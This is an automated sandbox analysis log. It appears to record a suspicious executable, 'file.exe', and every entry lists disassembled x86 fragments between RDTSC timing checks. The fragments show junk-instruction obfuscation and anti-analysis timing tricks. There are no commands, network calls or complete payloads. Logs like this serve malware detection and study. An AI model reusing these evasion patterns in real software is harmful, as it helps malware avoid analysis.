Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112A859 second address: 112A8EF instructions: 0x00000000 rdtsc 0x00000002 jo 00007F32DCC6AEF6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ebx 0x0000000b mov dword ptr [esp], eax 0x0000000e push 00000000h 0x00000010 push esi 0x00000011 call 00007F32DCC6AEF8h 0x00000016 pop esi 0x00000017 mov dword ptr [esp+04h], esi 0x0000001b add dword ptr [esp+04h], 0000001Ch 0x00000023 inc esi 0x00000024 push esi 0x00000025 ret 0x00000026 pop esi 0x00000027 ret 0x00000028 adc edi, 22DBEA7Ch 0x0000002e push 00000000h 0x00000030 mov dword ptr [ebp+122D3283h], ebx 0x00000036 push 00000000h 0x00000038 push 00000000h 0x0000003a push edi 0x0000003b call 00007F32DCC6AEF8h 0x00000040 pop edi 0x00000041 mov dword ptr [esp+04h], edi 0x00000045 add dword ptr [esp+04h], 0000001Dh 0x0000004d inc edi 0x0000004e push edi 0x0000004f ret 0x00000050 pop edi 0x00000051 ret 0x00000052 xchg eax, esi 0x00000053 ja 00007F32DCC6AF09h 0x00000059 push eax 0x0000005a push eax 0x0000005b push eax 0x0000005c push edx 0x0000005d jmp 00007F32DCC6AF01h 0x00000062 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11289C1 second address: 11289C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11289C5 second address: 11289D1 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edi 0x00000009 push ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1129B3F second address: 1129B49 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F32DD0C5336h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1129B49 second address: 1129B4E instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112C9EF second address: 112CA03 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 jg 00007F32DD0C5336h 0x0000000e jng 00007F32DD0C5336h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112AA31 second address: 112AA3F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F32DCC6AEF6h 0x0000000a popad 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1129C61 second address: 1129C67 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112D014 second address: 112D07F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 jmp 00007F32DCC6AF00h 0x0000000a popad 0x0000000b nop 0x0000000c mov dword ptr [ebp+124805DEh], ebx 0x00000012 push 00000000h 0x00000014 push 00000000h 0x00000016 push esi 0x00000017 call 00007F32DCC6AEF8h 0x0000001c pop esi 0x0000001d mov dword ptr [esp+04h], esi 0x00000021 add dword ptr [esp+04h], 00000015h 0x00000029 inc esi 0x0000002a push esi 0x0000002b ret 0x0000002c pop esi 0x0000002d ret 0x0000002e push edi 0x0000002f cld 0x00000030 pop edi 0x00000031 push 00000000h 0x00000033 jmp 00007F32DCC6AF06h 0x00000038 push eax 0x00000039 pushad 0x0000003a pushad 0x0000003b jmp 00007F32DCC6AEFFh 0x00000040 push eax 0x00000041 push edx 0x00000042 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112D07F second address: 112D095 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F32DD0C533Fh 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112AB06 second address: 112AB0A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112D095 second address: 112D099 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112F744 second address: 112F748 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112F748 second address: 112F74E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112F74E second address: 112F76D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F32DCC6AF00h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e ja 00007F32DCC6AEF6h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112F76D second address: 112F781 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F32DD0C5340h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1134E91 second address: 1134EA2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F32DCC6AEF6h 0x0000000a pop esi 0x0000000b push eax 0x0000000c push edx 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1134EA2 second address: 1134EA6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11351B2 second address: 11351BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11351BA second address: 11351C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push edx 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11351C3 second address: 11351EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F32DCC6AEF6h 0x0000000a jmp 00007F32DCC6AF08h 0x0000000f popad 0x00000010 push ecx 0x00000011 jp 00007F32DCC6AEF6h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D12FD second address: 10D1302 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D1302 second address: 10D132A instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pushad 0x00000004 popad 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F32DCC6AEFFh 0x0000000f jmp 00007F32DCC6AEFFh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113ACCC second address: 113ACD4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push esi 0x00000007 pop esi 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113AD3D second address: 113AD41 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113AD41 second address: 113AD45 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113AD45 second address: 113AD75 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 mov eax, dword ptr [eax] 0x00000009 jmp 00007F32DCC6AF01h 0x0000000e mov dword ptr [esp+04h], eax 0x00000012 pushad 0x00000013 js 00007F32DCC6AEF8h 0x00000019 pushad 0x0000001a popad 0x0000001b pushad 0x0000001c jbe 00007F32DCC6AEF6h 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114083C second address: 1140842 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113F4AD second address: 113F4B1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113F4B1 second address: 113F4CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F32DD0C5346h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113F4CD second address: 113F4D4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113F4D4 second address: 113F4E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jc 00007F32DD0C5356h 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113FC42 second address: 113FC65 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F32DCC6AF08h 0x00000009 jng 00007F32DCC6AEF6h 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11401E0 second address: 11401E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11401E6 second address: 1140219 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c jg 00007F32DCC6AF0Fh 0x00000012 jp 00007F32DCC6AEF6h 0x00000018 jmp 00007F32DCC6AF03h 0x0000001d push eax 0x0000001e push edx 0x0000001f js 00007F32DCC6AEF6h 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1140219 second address: 114021F instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1140394 second address: 1140398 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11406C9 second address: 11406E0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F32DD0C533Fh 0x00000007 push eax 0x00000008 push edx 0x00000009 push edx 0x0000000a pop edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11406E0 second address: 11406E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11406E4 second address: 11406EA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1143AD2 second address: 1143ADE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F32DCC6AEF6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1143ADE second address: 1143B10 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F32DD0C5336h 0x0000000a popad 0x0000000b jnp 00007F32DD0C533Ch 0x00000011 jp 00007F32DD0C5336h 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007F32DD0C5347h 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1143B10 second address: 1143B14 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110CDC3 second address: 110CDE0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F32DD0C5346h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110CDE0 second address: F5DC04 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], eax 0x0000000a pushad 0x0000000b mov dword ptr [ebp+122D3B24h], edi 0x00000011 mov edi, dword ptr [ebp+122D2DFCh] 0x00000017 popad 0x00000018 push dword ptr [ebp+122D1711h] 0x0000001e mov edx, 3ACDA37Ch 0x00000023 call dword ptr [ebp+122D3B15h] 0x00000029 pushad 0x0000002a stc 0x0000002b xor eax, eax 0x0000002d sub dword ptr [ebp+122D1F21h], edx 0x00000033 mov edx, dword ptr [esp+28h] 0x00000037 mov dword ptr [ebp+122D3A96h], ebx 0x0000003d mov dword ptr [ebp+122D2DB4h], eax 0x00000043 cld 0x00000044 mov esi, 0000003Ch 0x00000049 jnp 00007F32DCC6AEFCh 0x0000004f add esi, dword ptr [esp+24h] 0x00000053 stc 0x00000054 lodsw 0x00000056 jno 00007F32DCC6AEFDh 0x0000005c add eax, dword ptr [esp+24h] 0x00000060 sub dword ptr [ebp+122D1F21h], edi 0x00000066 mov ebx, dword ptr [esp+24h] 0x0000006a mov dword ptr [ebp+122D3A96h], ebx 0x00000070 mov dword ptr [ebp+122D3A96h], ebx 0x00000076 nop 0x00000077 push eax 0x00000078 push edx 0x00000079 jnp 00007F32DCC6AEFCh 0x0000007f jbe 00007F32DCC6AEF6h 0x00000085 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110CF92 second address: 110CF98 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110D6B6 second address: 110D6CC instructions: 0x00000000 rdtsc 0x00000002 jc 00007F32DCC6AEF6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f ja 00007F32DCC6AEF6h 0x00000015 pop eax 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110D6CC second address: 110D6D1 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110DB6F second address: 110DB75 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110DB75 second address: 110DBA9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F32DD0C533Bh 0x0000000a popad 0x0000000b mov dword ptr [esp], eax 0x0000000e or edx, dword ptr [ebp+122D284Bh] 0x00000014 lea eax, dword ptr [ebp+124826FDh] 0x0000001a mov cl, A9h 0x0000001c push eax 0x0000001d push eax 0x0000001e push edx 0x0000001f jmp 00007F32DD0C533Fh 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110DBA9 second address: 10F4308 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 ja 00007F32DCC6AEF6h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov dword ptr [esp], eax 0x00000011 mov ecx, dword ptr [ebp+122D2CF0h] 0x00000017 lea eax, dword ptr [ebp+124826B9h] 0x0000001d push 00000000h 0x0000001f push esi 0x00000020 call 00007F32DCC6AEF8h 0x00000025 pop esi 0x00000026 mov dword ptr [esp+04h], esi 0x0000002a add dword ptr [esp+04h], 0000001Ah 0x00000032 inc esi 0x00000033 push esi 0x00000034 ret 0x00000035 pop esi 0x00000036 ret 0x00000037 mov dword ptr [ebp+122D1876h], edi 0x0000003d mov dword ptr [ebp+122DB482h], esi 0x00000043 push eax 0x00000044 jns 00007F32DCC6AEFAh 0x0000004a mov dword ptr [esp], eax 0x0000004d xor dword ptr [ebp+122D3B24h], ebx 0x00000053 call dword ptr [ebp+122D3B2Eh] 0x00000059 push edx 0x0000005a jl 00007F32DCC6AF0Bh 0x00000060 jmp 00007F32DCC6AEFFh 0x00000065 push eax 0x00000066 push edx 0x00000067 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1143DBB second address: 1143DBF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1143DBF second address: 1143DC5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114435B second address: 1144372 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F32DD0C5343h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1144372 second address: 114439C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F32DCC6AF01h 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F32DCC6AEFBh 0x00000012 jno 00007F32DCC6AEF6h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114439C second address: 11443C1 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push esi 0x0000000a jmp 00007F32DD0C5349h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11443C1 second address: 11443E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 js 00007F32DCC6AF0Bh 0x0000000b jmp 00007F32DCC6AF05h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11443E1 second address: 11443F3 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F32DD0C533Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11443F3 second address: 11443F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11446EF second address: 11446F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1148BB0 second address: 1148BD3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F32DCC6AF0Ch 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10CC3A3 second address: 10CC3A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10CC3A7 second address: 10CC3C8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jo 00007F32DCC6AF01h 0x0000000e jmp 00007F32DCC6AEFBh 0x00000013 pop edi 0x00000014 push ebx 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 popad 0x00000019 pushad 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114DC67 second address: 114DC71 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F32DD0C5336h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114DC71 second address: 114DC78 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114E1FC second address: 114E230 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jnl 00007F32DD0C5336h 0x0000000c popad 0x0000000d jo 00007F32DD0C5346h 0x00000013 push ebx 0x00000014 pop ebx 0x00000015 jmp 00007F32DD0C533Eh 0x0000001a popad 0x0000001b js 00007F32DD0C5354h 0x00000021 push eax 0x00000022 push edx 0x00000023 jnl 00007F32DD0C5336h 0x00000029 push eax 0x0000002a push edx 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114E230 second address: 114E234 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114E234 second address: 114E238 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114E3A7 second address: 114E3AD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114E3AD second address: 114E3B2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114E3B2 second address: 114E3D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F32DCC6AEFDh 0x00000010 jo 00007F32DCC6AEF6h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114E523 second address: 114E537 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F32DD0C533Fh 0x00000009 pop ecx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114E6A9 second address: 114E6BE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F32DCC6AF01h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114E6BE second address: 114E6E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F32DD0C5346h 0x0000000b popad 0x0000000c push esi 0x0000000d push eax 0x0000000e push edx 0x0000000f push ebx 0x00000010 pop ebx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114EC5D second address: 114EC74 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 jng 00007F32DCC6AEF6h 0x0000000b jmp 00007F32DCC6AEFBh 0x00000010 pop ebx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114D5B2 second address: 114D5BC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 ja 00007F32DD0C5336h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11533DA second address: 11533DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1153976 second address: 115398F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F32DD0C5341h 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b push edx 0x0000000c pop edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1152FC4 second address: 1152FC8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1152FC8 second address: 1152FCE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1153F13 second address: 1153F29 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F32DCC6AF00h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1153F29 second address: 1153F30 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1156F60 second address: 1156F66 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1156F66 second address: 1156F71 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1156F71 second address: 1156F75 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1156F75 second address: 1156F79 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1156F79 second address: 1156F81 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11592B6 second address: 11592C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jmp 00007F32DD0C533Bh 0x0000000b rdtsc
